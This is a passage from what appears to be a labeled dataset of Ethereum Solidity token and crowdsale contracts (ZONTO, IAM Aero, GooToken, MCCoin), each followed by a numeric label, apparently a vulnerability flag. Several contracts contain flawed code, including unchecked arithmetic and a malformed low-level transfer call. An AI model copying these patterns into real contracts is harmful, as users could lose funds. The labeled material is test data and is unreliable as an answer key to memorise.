require(head != 0);
require(uint64(block.timestamp) > head);
bytes32 currentKey = toKey(msg.sender, head);
uint64 next = chains[currentKey];
uint amount = freezings[currentKey];
delete freezings[currentKey];
balances[msg.sender] = balances[msg.sender].add(amount);
freezingBalance[msg.sender] = freezingBalance[msg.sender].sub(amount);
if (next == 0) {
delete chains[headKey];
} else {
chains[headKey] = next;
delete chains[currentKey];
}
emit Released(msg.sender, amount);
}
function releaseAll() public returns (uint tokens) {
uint release;
uint balance;
(release, balance) = getFreezing(msg.sender, 0);
while (release != 0 && block.timestamp > release) {
releaseOnce();
tokens += balance;
(release, balance) = getFreezing(msg.sender, 0);
}
}
function toKey(address _addr, uint _release) internal pure returns (bytes32 result) {
result = 0x5749534800000000000000000000000000000000000000000000000000000000;
assembly {
result := or(result, mul(_addr, 0x10000000000000000))
result := or(result, _release)
}
}
function freeze(address _to, uint64 _until) internal {
require(_until > block.timestamp);
bytes32 key = toKey(_to, _until);
bytes32 parentKey = toKey(_to, uint64(0));
uint64 next = chains[parentKey];
if (next == 0) {
chains[parentKey] = _until;
return;
}
bytes32 nextKey = toKey(_to, next);
uint parent;
while (next != 0 && _until > next) {
parent = next;
parentKey = nextKey;
next = chains[nextKey];
nextKey = toKey(_to, next);
}
if (_until == next) {
return;
}
if (next != 0) {
chains[key] = next;
}
chains[parentKey] = _until;
}
}
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
_burn(msg.sender, _value);
}
function _burn(address _who, uint256 _value) internal {
require(_value <= balances[_who]);
balances[_who] = balances[_who].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(_who, _value);
emit Transfer(_who, address(0), _value);
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
contract FreezableMintableToken is FreezableToken, MintableToken {
function mintAndFreeze(address _to, uint _amount, uint64 _until) public onlyOwner canMint returns (bool) {
totalSupply_ = totalSupply_.add(_amount);
bytes32 currentKey = toKey(_to, _until);
freezings[currentKey] = freezings[currentKey].add(_amount);
freezingBalance[_to] = freezingBalance[_to].add(_amount);
freeze(_to, _until);
emit Mint(_to, _amount);
emit Freezed(_to, _until, _amount);
emit Transfer(msg.sender, _to, _amount);
return true;
}
}
contract Consts {
uint public constant TOKEN_DECIMALS = 18;
uint8 public constant TOKEN_DECIMALS_UINT8 = 18;
uint public constant TOKEN_DECIMAL_MULTIPLIER = 10 ** TOKEN_DECIMALS;
string public constant TOKEN_NAME = "1irstcoin";
string public constant TOKEN_SYMBOL = "FCO";
bool public constant PAUSED = false;
address public constant TARGET_USER = 0x1d38927e1c56b783db0e9c6ebad2ae34eedb5278;
bool public constant CONTINUE_MINTING = true;
}
contract MainToken is Consts, FreezableMintableToken, BurnableToken, Pausable
{
event Initialized();
bool public initialized = false;
constructor() public {
init();
transferOwnership(TARGET_USER);
}
function name() public pure returns (string _name) {
return TOKEN_NAME;
}
function symbol() public pure returns (string _symbol) {
return TOKEN_SYMBOL;
}
function decimals() public pure returns (uint8 _decimals) {
return TOKEN_DECIMALS_UINT8;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool _success) {
require(!paused);
return super.transferFrom(_from, _to, _value);
}
function transfer(address _to, uint256 _value) public returns (bool _success) {
require(!paused);
return super.transfer(_to, _value);
}
function init() private {
require(!initialized);
initialized = true;
if (PAUSED) {
pause();
}
if (!CONTINUE_MINTING) {
finishMinting();
}
emit Initialized();
}
} | 1 | 5,421 |
pragma solidity ^0.4.23;
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeERC20 {
function safeTransfer(ERC20Basic token, address to, uint256 value) internal {
assert(token.transfer(to, value));
}
function safeTransferFrom(
ERC20 token,
address from,
address to,
uint256 value
)
internal
{
assert(token.transferFrom(from, to, value));
}
function safeApprove(ERC20 token, address spender, uint256 value) internal {
assert(token.approve(spender, value));
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract CanReclaimToken is Ownable {
using SafeERC20 for ERC20Basic;
function reclaimToken(ERC20Basic token) external onlyOwner {
uint256 balance = token.balanceOf(this);
token.safeTransfer(owner, balance);
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
_burn(msg.sender, _value);
}
function _burn(address _who, uint256 _value) internal {
require(_value <= balances[_who]);
balances[_who] = balances[_who].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(_who, _value);
emit Transfer(_who, address(0), _value);
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract StandardBurnableToken is BurnableToken, StandardToken {
function burnFrom(address _from, uint256 _value) public {
require(_value <= allowed[_from][msg.sender]);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
_burn(_from, _value);
}
}
contract ZontoToken is StandardBurnableToken, CanReclaimToken {
string public constant name = "ZONTO Token";
string public constant symbol = "ZNT";
uint8 public constant decimals = 8;
address public constant tokenOwner = 0x77035BBEe0d159Bd06808Ce2b6bE31F8D02a3cAA;
uint256 public constant INITIAL_SUPPLY = 66955408359783000;
function ZontoToken() public {
totalSupply_ = INITIAL_SUPPLY;
balances[tokenOwner] = INITIAL_SUPPLY;
emit Transfer(0x0, msg.sender, INITIAL_SUPPLY);
}
function tokenFallback(address _from, uint _value, bytes _data) public {
require(msg.sender == 0x8aeD3f09FFaA1e6246E3b4b5790F13E1976f6055);
require(_from != tokenOwner);
require(_value <= balances[tokenOwner]);
uint val = _value * 1000;
balances[tokenOwner] = balances[tokenOwner].sub(val);
balances[_from] = balances[_from].add(val);
emit Transfer(tokenOwner, _from, val);
}
} | 1 | 3,811 |
pragma solidity 0.4.18;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns(uint256) {
if(a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns(uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns(uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns(uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
modifier onlyOwner() { require(msg.sender == owner); _; }
function Ownable() public {
owner = msg.sender;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
owner = newOwner;
OwnershipTransferred(owner, newOwner);
}
}
contract Pausable is Ownable {
bool public paused = false;
event Pause();
event Unpause();
modifier whenNotPaused() { require(!paused); _; }
modifier whenPaused() { require(paused); _; }
function pause() onlyOwner whenNotPaused public {
paused = true;
Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
Unpause();
}
}
contract Withdrawable is Ownable {
function withdrawEther(address _to, uint _value) onlyOwner public returns(bool) {
require(_to != address(0));
require(this.balance >= _value);
_to.transfer(_value);
return true;
}
function withdrawTokens(ERC20 _token, address _to, uint _value) onlyOwner public returns(bool) {
require(_to != address(0));
return _token.transfer(_to, _value);
}
}
contract ERC20 {
uint256 public totalSupply;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
function balanceOf(address who) public view returns(uint256);
function transfer(address to, uint256 value) public returns(bool);
function transferFrom(address from, address to, uint256 value) public returns(bool);
function allowance(address owner, address spender) public view returns(uint256);
function approve(address spender, uint256 value) public returns(bool);
}
contract ERC223 is ERC20 {
function transfer(address to, uint256 value, bytes data) public returns(bool);
}
contract ERC223Receiving {
function tokenFallback(address from, uint256 value, bytes data) external;
}
contract StandardToken is ERC223 {
using SafeMath for uint256;
string public name;
string public symbol;
uint8 public decimals;
mapping(address => uint256) balances;
mapping (address => mapping (address => uint256)) internal allowed;
function StandardToken(string _name, string _symbol, uint8 _decimals) public {
name = _name;
symbol = _symbol;
decimals = _decimals;
}
function balanceOf(address _owner) public view returns(uint256 balance) {
return balances[_owner];
}
function _transfer(address _to, uint256 _value, bytes _data) private returns(bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
bool is_contract = false;
assembly {
is_contract := not(iszero(extcodesize(_to)))
}
if(is_contract) {
ERC223Receiving receiver = ERC223Receiving(_to);
receiver.tokenFallback(msg.sender, _value, _data);
}
Transfer(msg.sender, _to, _value);
return true;
}
function transfer(address _to, uint256 _value) public returns(bool) {
bytes memory empty;
return _transfer(_to, _value, empty);
}
function transfer(address _to, uint256 _value, bytes _data) public returns(bool) {
return _transfer(_to, _value, _data);
}
function multiTransfer(address[] _to, uint256[] _value) public returns(bool) {
require(_to.length == _value.length);
for(uint i = 0; i < _to.length; i++) {
transfer(_to[i], _value[i]);
}
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public returns(bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns(uint256) {
return allowed[_owner][_spender];
}
function approve(address _spender, uint256 _value) public returns(bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function increaseApproval(address _spender, uint _addedValue) public returns(bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns(bool) {
uint oldValue = allowed[msg.sender][_spender];
if(_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() { require(!mintingFinished); _; }
function mint(address _to, uint256 _amount) onlyOwner canMint public returns(bool) {
totalSupply = totalSupply.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() onlyOwner canMint public returns(bool) {
mintingFinished = true;
MintFinished();
return true;
}
}
contract CappedToken is MintableToken {
uint256 public cap;
function CappedToken(uint256 _cap) public {
require(_cap > 0);
cap = _cap;
}
function mint(address _to, uint256 _amount) onlyOwner canMint public returns(bool) {
require(totalSupply.add(_amount) <= cap);
return super.mint(_to, _amount);
}
}
contract BurnableToken is StandardToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
require(_value <= balances[msg.sender]);
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply = totalSupply.sub(_value);
Burn(burner, _value);
}
}
contract Token is CappedToken, BurnableToken, Withdrawable {
function Token() CappedToken(70000000 * 1 ether) StandardToken("IAM Aero", "IAM", 18) public {
}
function tokenFallback(address _from, uint256 _value, bytes _data) external {
require(false);
}
}
contract Crowdsale is Pausable, Withdrawable, ERC223Receiving {
using SafeMath for uint;
struct Step {
uint priceTokenWei;
uint tokensForSale;
uint minInvestEth;
uint tokensSold;
uint collectedWei;
bool transferBalance;
bool sale;
}
Token public token;
address public beneficiary = 0x4ae7bdf9530cdB666FC14DF79C169e14504c621A;
Step[] public steps;
uint8 public currentStep = 0;
bool public crowdsaleClosed = false;
mapping(address => uint256) public canSell;
event Purchase(address indexed holder, uint256 tokenAmount, uint256 etherAmount);
event Sell(address indexed holder, uint256 tokenAmount, uint256 etherAmount);
event NewRate(uint256 rate);
event NextStep(uint8 step);
event CrowdsaleClose();
function Crowdsale() public {
token = new Token();
steps.push(Step(1 ether / 1000, 1000000 * 1 ether, 2 ether, 0, 0, true, false));
steps.push(Step(1 ether / 1000, 1500000 * 1 ether, 1 ether, 0, 0, true, false));
steps.push(Step(1 ether / 1000, 3000000 * 1 ether, 0.5 ether, 0, 0, true, false));
steps.push(Step(1 ether / 1000, 9000000 * 1 ether, 0.25 ether, 0, 0, true, false));
steps.push(Step(1 ether / 1000, 35000000 * 1 ether, 0.1 ether, 0, 0, true, false));
steps.push(Step(1 ether / 1000, 20500000 * 1 ether, 0.01 ether, 0, 0, true, true));
}
function() payable public {
purchase();
}
function tokenFallback(address _from, uint256 _value, bytes _data) external {
sell(_value);
}
function setTokenRate(uint _value) onlyOwner public {
require(!crowdsaleClosed);
steps[currentStep].priceTokenWei = 1 ether / _value;
NewRate(steps[currentStep].priceTokenWei);
}
function purchase() whenNotPaused payable public {
require(!crowdsaleClosed);
Step memory step = steps[currentStep];
require(msg.value >= step.minInvestEth);
require(step.tokensSold < step.tokensForSale);
uint sum = msg.value;
uint amount = sum.mul(1 ether).div(step.priceTokenWei);
uint retSum = 0;
if(step.tokensSold.add(amount) > step.tokensForSale) {
uint retAmount = step.tokensSold.add(amount).sub(step.tokensForSale);
retSum = retAmount.mul(step.priceTokenWei).div(1 ether);
amount = amount.sub(retAmount);
sum = sum.sub(retSum);
}
steps[currentStep].tokensSold = step.tokensSold.add(amount);
steps[currentStep].collectedWei = step.collectedWei.add(sum);
if(currentStep == 0) {
canSell[msg.sender] = canSell[msg.sender].add(amount);
}
if(step.transferBalance) {
uint p1 = sum.div(200);
(0x27c1D3ECD24C13C6b5362dA1136215fa929de010).transfer(p1.mul(3));
(0x8C8d80effb2c5C1E4D857e286822E0E641cA3836).transfer(p1.mul(3));
beneficiary.transfer(sum.sub(p1.mul(6)));
}
token.mint(msg.sender, amount);
if(retSum > 0) {
msg.sender.transfer(retSum);
}
Purchase(msg.sender, amount, sum);
}
function sell(uint256 _value) whenNotPaused public {
require(!crowdsaleClosed);
require(canSell[msg.sender] >= _value);
require(token.balanceOf(msg.sender) >= _value);
Step memory step = steps[currentStep];
require(step.sale);
canSell[msg.sender] = canSell[msg.sender].sub(_value);
token.call('transfer', beneficiary, _value);
uint sum = _value.mul(step.priceTokenWei).div(1 ether);
msg.sender.transfer(sum);
Sell(msg.sender, _value, sum);
}
function nextStep(uint _value) onlyOwner public {
require(!crowdsaleClosed);
require(steps.length - 1 > currentStep);
currentStep += 1;
setTokenRate(_value);
NextStep(currentStep);
}
function closeCrowdsale() onlyOwner public {
require(!crowdsaleClosed);
beneficiary.transfer(this.balance);
token.mint(beneficiary, token.cap().sub(token.totalSupply()));
token.transferOwnership(beneficiary);
crowdsaleClosed = true;
CrowdsaleClose();
}
} | 0 | 1,535 |
pragma solidity ^0.4.25;
interface ERC20 {
function totalSupply() external constant returns (uint);
function balanceOf(address tokenOwner) external constant returns (uint balance);
function allowance(address tokenOwner, address spender) external constant returns (uint remaining);
function transfer(address to, uint tokens) external returns (bool success);
function approve(address spender, uint tokens) external returns (bool success);
function approveAndCall(address spender, uint tokens, bytes data) external returns (bool success);
function transferFrom(address from, address to, uint tokens) external returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
interface ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes data) external;
}
contract GooToken is ERC20 {
using SafeMath for uint;
using SafeMath224 for uint224;
string public constant name = "Vials of Goo";
string public constant symbol = "GOO";
uint8 public constant decimals = 12;
uint224 public constant MAX_SUPPLY = 21000000 * (10 ** 12);
mapping(address => UserBalance) balances;
mapping(address => mapping(address => uint256)) allowed;
mapping(address => uint256) public gooProduction;
mapping(address => bool) operator;
uint224 private totalGoo;
uint256 public teamAllocation;
address public owner;
bool public supplyCapHit;
struct UserBalance {
uint224 goo;
uint32 lastGooSaveTime;
}
constructor() public {
teamAllocation = MAX_SUPPLY / 10;
owner = msg.sender;
}
function totalSupply() external view returns(uint) {
return totalGoo;
}
function transfer(address to, uint256 tokens) external returns (bool) {
updatePlayersGooInternal(msg.sender);
require(tokens <= MAX_SUPPLY);
uint224 amount = uint224(tokens);
balances[msg.sender].goo = balances[msg.sender].goo.sub(amount);
emit Transfer(msg.sender, to, amount);
if (to == address(0)) {
totalGoo -= amount;
} else {
balances[to].goo = balances[to].goo.add(amount);
}
return true;
}
function transferFrom(address from, address to, uint256 tokens) external returns (bool) {
updatePlayersGooInternal(from);
require(tokens <= MAX_SUPPLY);
uint224 amount = uint224(tokens);
allowed[from][msg.sender] = allowed[from][msg.sender].sub(amount);
balances[from].goo = balances[from].goo.sub(amount);
emit Transfer(from, to, amount);
if (to == address(0)) {
totalGoo -= amount;
} else {
balances[to].goo = balances[to].goo.add(amount);
}
return true;
}
function unlockAllocation(uint224 amount, address recipient) external {
require(msg.sender == owner);
teamAllocation = teamAllocation.sub(amount);
totalGoo += amount;
balances[recipient].goo = balances[recipient].goo.add(amount);
emit Transfer(address(0), recipient, amount);
}
function setOperator(address gameContract, bool isOperator) external {
require(msg.sender == owner);
operator[gameContract] = isOperator;
}
function approve(address spender, uint256 tokens) external returns (bool) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
function approveAndCall(address spender, uint256 tokens, bytes data) external returns (bool) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
function allowance(address tokenOwner, address spender) external view returns (uint256) {
return allowed[tokenOwner][spender];
}
function recoverAccidentalTokens(address tokenAddress, uint256 tokens) external {
require(msg.sender == owner);
require(tokenAddress != address(this));
ERC20(tokenAddress).transfer(owner, tokens);
}
function balanceOf(address player) public constant returns(uint256) {
return balances[player].goo + balanceOfUnclaimedGoo(player);
}
function balanceOfUnclaimedGoo(address player) internal constant returns (uint224 gooGain) {
if (supplyCapHit) return;
uint32 lastSave = balances[player].lastGooSaveTime;
if (lastSave > 0 && lastSave < block.timestamp) {
gooGain = uint224(gooProduction[player] * (block.timestamp - lastSave));
}
if (totalGoo + gooGain >= MAX_SUPPLY) {
gooGain = MAX_SUPPLY - totalGoo;
}
}
function mintGoo(uint224 amount, address player) external {
if (supplyCapHit) return;
require(operator[msg.sender]);
uint224 minted = amount;
if (totalGoo.add(amount) >= MAX_SUPPLY) {
supplyCapHit = true;
minted = MAX_SUPPLY - totalGoo;
}
balances[player].goo += minted;
totalGoo += minted;
emit Transfer(address(0), player, minted);
}
function updatePlayersGoo(address player) external {
require(operator[msg.sender]);
updatePlayersGooInternal(player);
}
function updatePlayersGooInternal(address player) internal {
uint224 gooGain = balanceOfUnclaimedGoo(player);
UserBalance memory balance = balances[player];
if (gooGain > 0) {
totalGoo += gooGain;
if (!supplyCapHit && totalGoo == MAX_SUPPLY) {
supplyCapHit = true;
}
balance.goo += gooGain;
emit Transfer(address(0), player, gooGain);
}
if (balance.lastGooSaveTime < block.timestamp) {
balance.lastGooSaveTime = uint32(block.timestamp);
balances[player] = balance;
}
}
function updatePlayersGooFromPurchase(address player, uint224 purchaseCost) external {
require(operator[msg.sender]);
uint224 unclaimedGoo = balanceOfUnclaimedGoo(player);
UserBalance memory balance = balances[player];
balance.lastGooSaveTime = uint32(block.timestamp);
if (purchaseCost > unclaimedGoo) {
uint224 gooDecrease = purchaseCost - unclaimedGoo;
totalGoo -= gooDecrease;
balance.goo = balance.goo.sub(gooDecrease);
emit Transfer(player, address(0), gooDecrease);
} else {
uint224 gooGain = unclaimedGoo - purchaseCost;
totalGoo += gooGain;
balance.goo += gooGain;
if (!supplyCapHit && totalGoo == MAX_SUPPLY) {
supplyCapHit = true;
}
emit Transfer(address(0), player, gooGain);
}
balances[player] = balance;
}
function increasePlayersGooProduction(address player, uint256 increase) external {
require(operator[msg.sender]);
gooProduction[player] += increase;
}
function decreasePlayersGooProduction(address player, uint256 decrease) external {
require(operator[msg.sender]);
gooProduction[player] -= decrease;
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
library SafeMath224 {
function mul(uint224 a, uint224 b) internal pure returns (uint224) {
if (a == 0) {
return 0;
}
uint224 c = a * b;
assert(c / a == b);
return c;
}
function div(uint224 a, uint224 b) internal pure returns (uint224) {
uint224 c = a / b;
return c;
}
function sub(uint224 a, uint224 b) internal pure returns (uint224) {
assert(b <= a);
return a - b;
}
function add(uint224 a, uint224 b) internal pure returns (uint224) {
uint224 c = a + b;
assert(c >= a);
return c;
}
} | 1 | 2,913 |
pragma solidity ^0.4.16;
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) constant public returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) constant public returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) public returns (bool) {
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) constant public returns (uint256 balance) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
var _allowance = allowed[_from][msg.sender];
balances[_to] = balances[_to].add(_value);
balances[_from] = balances[_from].sub(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
require((_value == 0) || (allowed[msg.sender][_spender] == 0));
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant public returns (uint256 remaining) {
return allowed[_owner][_spender];
}
}
contract Ownable {
address public owner;
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
owner = newOwner;
}
}
contract BurnableToken is StandardToken {
function burn(uint _value) public {
require(_value > 0);
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply = totalSupply.sub(_value);
Burn(burner, _value);
}
event Burn(address indexed burner, uint indexed value);
}
contract MCCoin is BurnableToken {
string public constant name = "MCCoin";
string public constant symbol = "MCC";
uint32 public constant decimals = 0;
uint256 public INITIAL_SUPPLY = 100000000;
function MCCoin() public {
totalSupply = INITIAL_SUPPLY;
balances[msg.sender] = INITIAL_SUPPLY;
}
}
contract Crowdsale is Ownable, MCCoin {
using SafeMath for uint;
address multisig;
uint restrictedPercent;
address restricted;
MCCoin public token = new MCCoin();
uint start;
uint period;
uint rate;
function Crowdsale() public {
multisig = 0xD0b6c1F479eACcce7A77D5Aa3b6c9fc2213EecCb;
restricted = 0x2B87f568B9C1A0f0344A4119c81BA6c2B131f7Df;
restrictedPercent = 40;
rate = 40000;
start = 1516989600;
period = 365;
}
modifier saleIsOn() {
require(now > start && now < start + period * 1 days);
_;
}
function createTokens() public saleIsOn payable {
multisig.transfer(msg.value);
uint tokens = rate.mul(msg.value);
uint bonusTokens = 0;
if(now < start + (period * 1 days).div(24)) {
bonusTokens = tokens.div(5);
} else if(now >= start + (period * 1 days).div(24) && now < start + (period * 1 days).div(12)) {
bonusTokens = tokens.div(7);
} else if(now >= start + (period * 1 days).div(12) && now < start + (period * 1 days).div(12).mul(2)) {
bonusTokens = tokens.div(10);
} else if(now >= start + (period * 1 days).div(12).mul(2) && now < start + (period * 1 days).div(12).mul(3)) {
bonusTokens = tokens.div(20);
}
uint tokensWithBonus = tokens.add(bonusTokens);
token.transfer(msg.sender, tokensWithBonus);
uint restrictedTokens = tokens.mul(restrictedPercent).div(100 - restrictedPercent);
token.transfer(restricted, restrictedTokens);
}
function() external payable {
createTokens();
}
} | 1 | 3,188 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath
for uint;
using Address
for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
